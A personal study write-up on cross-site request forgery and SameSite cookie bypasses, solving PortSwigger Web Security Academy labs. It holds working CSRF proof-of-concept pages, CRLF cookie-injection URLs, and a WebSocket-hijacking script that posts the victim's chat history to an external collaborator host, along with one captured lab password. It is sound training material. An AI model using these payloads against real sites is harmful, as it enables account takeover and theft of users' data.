CSRF - Client Side Request Forgery
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.
- The attacker’s page will trigger an HTTP request to the vulnerable website.
- If the user is logged in to the vulnerable website, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
- The vulnerable website will process the request in the normal way, treat it as having been made by the victim user, and change their email address.
After a user authenticates into the site, the attackers target functions that allow them to make changes, like:
- Changing an email address
- Creating a new password
- Making a purchase
- Transferring funds
- Elevating privileges
Note Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.
How to construct a CSRF attack
Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:
- Select a request anywhere in Burp Suite Professional that you want to test or exploit.
- From the right-click context menu, select Engagement tools / Generate CSRF PoC.
- Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim’s browser).
- You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
- Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable website, and test whether the intended request is issued successfully and the desired action occurs.
Lab: CSRF vulnerability with no defenses
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a10000603d343e480c8449c005a0083.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="atacker@attacker.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Send it to victim using exploit server.
Common defences against CSRF
Nowadays, successfully finding and exploiting CSRF vulnerabilities often involves bypassing anti-CSRF measures deployed by the target website, the victim’s browser, or both. The most common defenses you’ll encounter are as follows:
CSRF tokens - A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.
SameSite cookies - SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site. Since 2021, Chrome enforces
Lax
SameSite restrictions by default. As this is the proposed standard, we expect other major browsers to adopt this behavior in future.Referer-based validation - Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This is generally less effective than CSRF token validation.
Attacks against CSRF
Validation of CSRF token depends on request method
Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.
In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack:
1
GET /email/change?email=pwned@evil-user.net HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
Lab: CSRF where token validation depends on request method
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a7e00eb04b41c8c804608170011006b.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="atacker@attacker.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Method changed to GET instead of POST
Validation of CSRF token depends on token being present
Some applications correctly validate the token when it is present but skip the validation if the token is omitted.
In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:
1
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm email=pwned@evil-user.net
Lab: CSRF where token validation depends on token being present
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a0200600312785b80141c6d00610051.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="atacker@attacker.com" />
<!-- <input type="hidden" name="csrf" value="wpZXQHalDRjoCacMlxPTwFpQveT6zKGG" /> -->
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Commented the CSRF token in the request
CSRF token is not tied to the user session
Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.
In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.
Lab: CSRF where token is not tied to user session
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ac800c6031fc5d9805417fa006800ba.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@attacke.com" />
<input type="hidden" name="csrf" value="rxBON2QIlqA8IbNblIuLOQGVGMFpgM3H" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
There might be multiple CSRF based on the requirement for eg: session, update email, update password. We can use those all for checking this vulnerability. Also remember to use the latest token, as the CSRF token expires in less than a minute.
CSRF token is tied to a non-session cookie
In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:
1
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
This situation is harder to exploit but is still vulnerable. If the website contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.
Note The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on
staging.demo.normal-website.com
could be leveraged to place a cookie that is submitted tosecure.normal-website.com
.
Lab: CSRF where token is tied to non-session cookie
==Very Critical Vulnerability==
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ac9004e03f2de29845e954100cb0043.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="finalytry@gmail.com" />
<input type="hidden" name="csrf" value="U25149ecuaCpVspYadLVhivdVl97T71R" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0ac9004e03f2de29845e954100cb0043.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Iykqv8lgasVDxw1AYrKW5L5HLlB2Owfx%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
Here we changed the csrf token and also the crsfkey by doing a search and changing the csrfkey value as well. This is most critical level vulenerability.
Steps for solution:
- Open Burp’s browser and log in to your account. Submit the “Update email” form, and find the resulting request in your Proxy history.
- Send the request to Burp Repeater and observe that changing the
session
cookie logs you out, but changing thecsrfKey
cookie merely results in the CSRF token being rejected. This suggests that thecsrfKey
cookie may not be strictly tied to the session.- Open a private/incognito browser window, log in to your other account, and send a fresh update email request into Burp Repeater.
- Observe that if you swap the
csrfKey
cookie andcsrf
parameter from the first account to the second account, the request is accepted.- Close the Repeater tab and incognito browser.
- Back in the original browser, perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user’s browser.
- Create a URL that uses this vulnerability to inject your
csrfKey
cookie into the victim’s browser:/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
- Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses lab, ensuring that you include your CSRF token. The exploit should be created from the email change request.
- Remove the auto-submit
<script>
block, and instead add the following code to inject the cookie:<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
- Change the email address in your exploit so that it doesn’t match your own.
- Store the exploit, then click “Deliver to victim” to solve the lab.
CSRF token is simply duplicated in a cookie
In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state:
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
In this situation, the attacker can again perform a CSRF attack if the website contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.
Lab: CSRF where token is duplicated in cookie
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a3300e004da49a180d90d44007500de.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@hack.com" />
<input type="hidden" name="csrf" value="iQRAzm1ROkuiVhQErZDmHSqejxTRpHMz" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a3300e004da49a180d90d44007500de.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=iQRAzm1ROkuiVhQErZDmHSqejxTRpHMz%3b%20SameSite=None" onerror="document.forms[0].submit()"> </script>
</body>
</html>
Similar to last lab, set the csrf cookie using the search function, then similar csrf poc for changing cookie and email
Bypassing SameSite cookie restrictions
Request from | Request to | Same-site? | Same-origin? |
https://example.com | https://example.com | Yes | Yes |
https://app.example.com | https://intranet.example.com | Yes | No: mismatched domain name |
https://example.com | https://example.com:8080 | Yes | No: mismatched port |
https://example.com | https://example.co.uk | No: mismatched eTLD | No: mismatched domain name |
https://example.com | http://example.com | No: mismatched scheme | No: mismatched scheme |
Samesite:
Strict:
1
2
3
4
5
6
If a cookie is set with the `SameSite=Strict` attribute, browsers will not send it in any cross-site requests. ### Lax:
`Lax` SameSite restrictions mean that browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:
- The request uses the `GET` method.
- The request resulted from a top-level navigation by the user, such as clicking on a link.
None:
1
2
3
4
5
If a cookie is set with the `SameSite=None` attribute, this effectively disables SameSite restrictions altogether, regardless of the browser.
When setting a cookie with `SameSite=None`, the website must also include the `Secure` attribute, which ensures that the cookie is only sent in encrypted messages over HTTPS. Otherwise, browsers will reject the cookie and it won't be set.
`Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure`
Lab: SameSite Lax bypass via method override
How to find Lax in site: 1. As Lax is default to browsers, so its better to assume all sites have lax, except the samesite is explicitly mentioned.
Steps:
- In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent
GET
request.- Send the request. Observe that the endpoint only allows
POST
requests.- Try overriding the method by adding the
_method
parameter to the query string:GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a3f0023040f30f2804553bb004c00c0.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="adm1n@gmail.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Bypassing SameSite restrictions using on-site gadgets
If a cookie is set with the SameSite=Strict
attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.
One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. For some examples, see our materials on DOM-based open redirection.
As far as browsers are concerned, these client-side redirects aren’t really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.
If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.
Note that the equivalent attack is not possible with server-side redirects. In this case, browsers recognize that the request to follow the redirect resulted from a cross-site request initially, so they still apply the appropriate cookie restrictions.
Lab: SameSite Strict bypass via client-side redirect
==This is very critical vulnerability, go through the steps one by one!==
Solution:
Study the change email function
In Burp’s browser, log in to your own account and change your email address.
In Burp, go to the Proxy > HTTP history tab.
Study the
POST /my-account/change-email
request and notice that this doesn’t contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.Look at the response to your
POST /login
request. Notice that the website explicitly specifiesSameSite=Strict
when setting session cookies. This prevents the browser from including these cookies in cross-site requests.
Identify a suitable gadget
In the browser, go to one of the blog posts and post an arbitrary comment. Observe that you’re initially sent to a confirmation page at
/post/comment/confirmation?postId=x
but, after a few seconds, you’re taken back to the blog post.In Burp, go to the proxy history and notice that this redirect is handled client-side using the imported JavaScript file
/resources/js/commentConfirmationRedirect.js
.Study the JavaScript and notice that this uses the
postId
query parameter to dynamically construct the path for the client-side redirect.In the proxy history, right-click on the
GET /post/comment/confirmation?postId=x
request and select Copy URL.In the browser, visit this URL, but change the
postId
parameter to an arbitrary string./post/comment/confirmation?postId=foo
Observe that you initially see the post confirmation page before the client-side JavaScript attempts to redirect you to a path containing your injected string, for example,
/post/foo
.Try injecting a path traversal sequence so that the dynamically constructed redirect URL will point to your account page:
/post/comment/confirmation?postId=1/../../my-account
Observe that the browser normalizes this URL and successfully takes you to your account page. This confirms that you can use the
postId
parameter to elicit aGET
request for an arbitrary endpoint on the target site.
Bypass the SameSite restrictions
In the browser, go to the exploit server and create a script that induces the viewer’s browser to send the
GET
request you just tested. The following is one possible approach:<script> document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account"; </script>
Store and view the exploit yourself.
Observe that when the client-side redirect takes place, you still end up on your logged-in account page. This confirms that the browser included your authenticated session cookie in the second request, even though the initial comment-submission request was initiated from an arbitrary external site.
Craft an exploit
Send the
POST /my-account/change-email
request to Burp Repeater.In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent
GET
request.Send the request. Observe that the endpoint allows you to change your email address using a
GET
request.Go back to the exploit server and change the
postId
parameter in your exploit so that the redirect causes the browser to send the equivalentGET
request for changing your email address:<script> document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1"; </script>
Note that you need to include the
submit
parameter and URL encode the ampersand delimiter to avoid breaking out of thepostId
parameter in the initial setup request.Test the exploit on yourself and confirm that you have successfully changed your email address.
Change the email address in your exploit so that it doesn’t match your own.
Deliver the exploit to the victim. After a few seconds, the lab is solved.
Payload used
1
2
3
4
5
<script>
window.location = "https://0a3b00c80485921f81e7716600130040.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=exploit%40gmail.com%26submit=1";
</script>
Bypassing SameSite restrictions via vulnerable sibling domains
Whether you’re testing someone else’s website or trying to secure your own, it’s essential to keep in mind that a request can still be same-site even if it’s issued cross-origin.
Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site’s domains to cross-site attacks.
In addition to classic CSRF, don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.
Lab: SameSite Strict bypass via sibling domain
Cross-site WebSocket hijacking (CSWSH)
==Adv CSRF using the Websockets==
Solution:
Study the live chat feature
In Burp’s browser, go to the live chat feature and send a few messages.
In Burp, go to the Proxy > HTTP history tab and find the WebSocket handshake request. This should be the most recent
GET /chat
request.Notice that this doesn’t contain any unpredictable tokens, so may be vulnerable to CSWSH if you can bypass any SameSite cookie restrictions.
In the browser, refresh the live chat page.
In Burp, go to the Proxy > WebSockets history tab. Notice that when you refresh the page, the browser sends a
READY
message to the server. This causes the server to respond with the entire chat history.
Confirm the CSWSH vulnerability
In Burp, go to the Collaborator tab and click Copy to clipboard. A new Collaborator payload is saved to your clipboard.
In the browser, go to the exploit server and use the following template to create a script for a CSWSH proof of concept:
<script> var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>
Store and view the exploit yourself
In Burp, go back to the Collaborator tab and click Poll now. Observe that you have received an HTTP interaction, which indicates that you’ve opened a new live chat connection with the target site.
Notice that although you’ve confirmed the CSWSH vulnerability, you’ve only exfiltrated the chat history for a brand new session, which isn’t particularly useful.
Go to the Proxy > HTTP history tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent
GET /chat
request.Notice that your session cookie was not sent with the request.
In the response, notice that the website explicitly specifies
SameSite=Strict
when setting session cookies. This prevents the browser from including these cookies in cross-site requests.
Identify an additional vulnerability in the same “site”
In Burp, study the proxy history and notice that responses to requests for resources like script and image files contain an
Access-Control-Allow-Origin
header, which reveals a sibling domain atcms-YOUR-LAB-ID.web-security-academy.net
.In the browser, visit this new URL to discover an additional login form.
Submit some arbitrary login credentials and observe that the username is reflected in the response in the
Invalid username
message.Try injecting an XSS payload via the
username
parameter, for example:<script>alert(1)</script>
Observe that the
alert(1)
is called, confirming that this is a viable reflected XSS vector.Send the
POST /login
request containing the XSS payload to Burp Repeater.In Burp Repeater, right-click on the request and select Change request method to convert the method to
GET
. Confirm that it still receives the same response.Right-click on the request again and select Copy URL. Visit this URL in the browser and confirm that you can still trigger the XSS. As this sibling domain is part of the same site, you can use this XSS to launch the CSWSH attack without it being mitigated by SameSite restrictions.
Bypass the SameSite restrictions
Recreate the CSWSH script that you tested on the exploit server earlier.
<script> var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>
URL encode the entire script.
Go back to the exploit server and create a script that induces the viewer’s browser to send the
GET
request you just tested, but use the URL-encoded CSWSH payload as theusername
parameter. The following is one possible approach:<script> document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything"; </script>
Store and view the exploit yourself.
In Burp, go back to the Collaborator tab and click Poll now. Observe that you’ve received a number of new interactions, which contain your entire chat history.
Go to the Proxy > HTTP history tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent
GET /chat
request.Confirm that this request does contain your session cookie. As it was initiated from the vulnerable sibling domain, the browser considers this a same-site request.
Deliver the exploit chain
Go back to the exploit server and deliver the exploit to the victim.
In Burp, go back to the Collaborator tab and click Poll now.
Observe that you’ve received a number of new interactions.
Study the HTTP interactions and notice that these contain the victim’s chat history.
Find a message containing the victim’s username and password.
Use the newly obtained credentials to log in to the victim’s account and the lab is solved.
My solution used - Prefer the collaborator mostly
1 2 3 4 5 6 7 8 9
<script> var ws = new WebSocket("wss://0a33002a03baef3d801a94da00e500df.web-security-academy.net/chat"); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch("https://66aijq53vq48jirirv9gftzmedk48uwj.oastify.com", {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>
1
<script> document.location = "https://cms-0a33002a03baef3d801a94da00e500df.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%22%77%73%73%3a%2f%2f%30%61%33%33%30%30%32%61%30%33%62%61%65%66%33%64%38%30%31%61%39%34%64%61%30%30%65%35%30%30%64%66%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%22%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%22%68%74%74%70%73%3a%2f%2f%36%36%61%69%6a%71%35%33%76%71%34%38%6a%69%72%69%72%76%39%67%66%74%7a%6d%65%64%6b%34%38%75%77%6a%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%22%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=anything"; </script>
carlos
: aloxc655k8vii0kna7uf
Bypassing SameSite Lax restrictions with newly issued cookies
Cookies with Lax
SameSite restrictions aren’t normally sent in any cross-site POST
requests, but there are some exceptions.
As mentioned earlier, if a website doesn’t include a SameSite
attribute when setting a cookie, Chrome automatically applies Lax
restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST
requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.
Note This two-minute window does not apply to cookies that were explicitly set with the
SameSite=Lax
attribute.
It’s somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.
To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.
Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction. For example, the following popup will be blocked by the browser by default:
window.open('https://vulnerable-website.com/login/sso');
To get around this, you can wrap the statement in an onclick
event handler as follows:
window.onclick = () => { window.open('https://vulnerable-website.com/login/sso'); }
This way, the window.open()
method is only invoked when the user clicks somewhere on the page.
Lab: SameSite Lax bypass via cookie refresh
==Adv SameSite Bypass only when explict SameSite is not mentioned to Lax or Strict ==
Solution
Study the change email function
In Burp’s browser, log in via your social media account and change your email address.
In Burp, go to the Proxy > HTTP history tab.
Study the
POST /my-account/change-email
request and notice that this doesn’t contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.Look at the response to the
GET /oauth-callback?code=[...]
request at the end of the OAuth flow. Notice that the website doesn’t explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the defaultLax
restriction level.
Attempt a CSRF attack
In the browser, go to the exploit server.
Use the following template to create a basic CSRF attack for changing the victim’s email address:
<script> history.pushState('', '', '/') </script> <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="foo@bar.com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script>
Store and view the exploit yourself. What happens next depends on how much time has elapsed since you logged in:
If it has been longer than two minutes, you will be logged in via the OAuth flow, and the attack will fail. In this case, repeat this step immediately.
If you logged in less than two minutes ago, the attack is successful and your email address is changed. From the Proxy > HTTP history tab, find the
POST /my-account/change-email
request and confirm that your session cookie was included even though this is a cross-sitePOST
request.
Bypass the SameSite restrictions
In the browser, notice that if you visit
/social-login
, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction.From the proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.
Go back to the exploit server.
Change the JavaScript so that the attack first refreshes the victim’s session by forcing their browser to visit
/social-login
, then submits the email change request after a short pause. The following is one possible approach:<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="pwned@web-security-academy.net"> </form> <script> window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(changeEmail, 5000); function changeEmail(){ document.forms[0].submit(); } </script>
Note that we’ve opened the
/social-login
in a new window to avoid navigating away from the exploit before the change email request is sent.Store and view the exploit yourself. Observe that the initial request gets blocked by the browser’s popup blocker.
Observe that, after a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since your cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.
Bypass the popup blocker
Realize that the popup is being blocked because you haven’t manually interacted with the page.
Tweak the exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked. The following is one possible approach:
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="pwned@portswigger.net"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script>
Test the attack on yourself again while monitoring the proxy history in Burp.
When prompted, click the page. This triggers the OAuth flow and issues you a new session cookie. After 5 seconds, notice that the CSRF attack is sent and the
POST /my-account/change-email
request includes your new session cookie.Go to your account page and confirm that your email address has changed.
Change the email address in your exploit so that it doesn’t match your own.
Deliver the exploit to the victim to solve the lab.
My Solution used:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<form method="POST" action="hxxps[://]0a1b007204fd51be80a95809001b005a[.]web-security-academy[.]net/my-account/change-email"> <input type="hidden" name="email" value="hacked@portswigger.net"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open('hxxps[://]0a1b007204fd51be80a95809001b005a[.]web-security-academy[.]net/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script>
Note: Decode the above solution in
From HTTP entity
usingcyberchef
to view the decoded script.
Bypassing Referer-based CSRF defenses
Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer
header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.
Referer header
The HTTP Referer header (which is inadvertently misspelled in the HTTP specification) is an optional request header that contains the URL of the web page that linked to the resource that is being requested. It is generally added automatically by browsers when a user triggers an HTTP request, including by clicking a link or submitting a form. Various methods exist that allow the linking page to withhold or modify the value of the Referer
header. This is often done for privacy reasons.
Validation of Referer depends on header being present
Some applications validate the Referer
header when it is present in requests but skip the validation if the header is omitted.
In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user’s browser to drop the Referer
header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:
<meta name="referrer" content="never">
Lab: CSRF where Referer validation depends on header being present
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0aaa002103e29aa884a8743c00380042.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@gmail.com" />
<input type="submit" value="Submit request" />
<meta name="referrer" content="never">
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Validation of Referer can be circumvented (mis-spelled referrer)
Some applications validate the Referer
header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer
starts with the expected value, then the attacker can place this as a subdomain of their own domain:
http://vulnerable-website.com.attacker-website.com/csrf-attack
Likewise, if the application simply validates that the Referer
contains its own domain name, then the attacker can place the required value elsewhere in the URL:
http://attacker-website.com/csrf-attack?vulnerable-website.com
Note: Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the
Referer
header by default. You can override this behavior by making sure that the response containing your exploit has theReferrer-Policy: unsafe-url
header set (note thatReferrer
is spelled correctly in this case, just to make sure you’re paying attention!). This ensures that the full URL will be sent, including the query string.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState(' ', ' ', '/?0ab600b203ef57ea8355cda000f0005d.web-security-academy.net')</script>
<form action="https://0ab600b203ef57ea8355cda000f0005d.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="areyoukidding@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>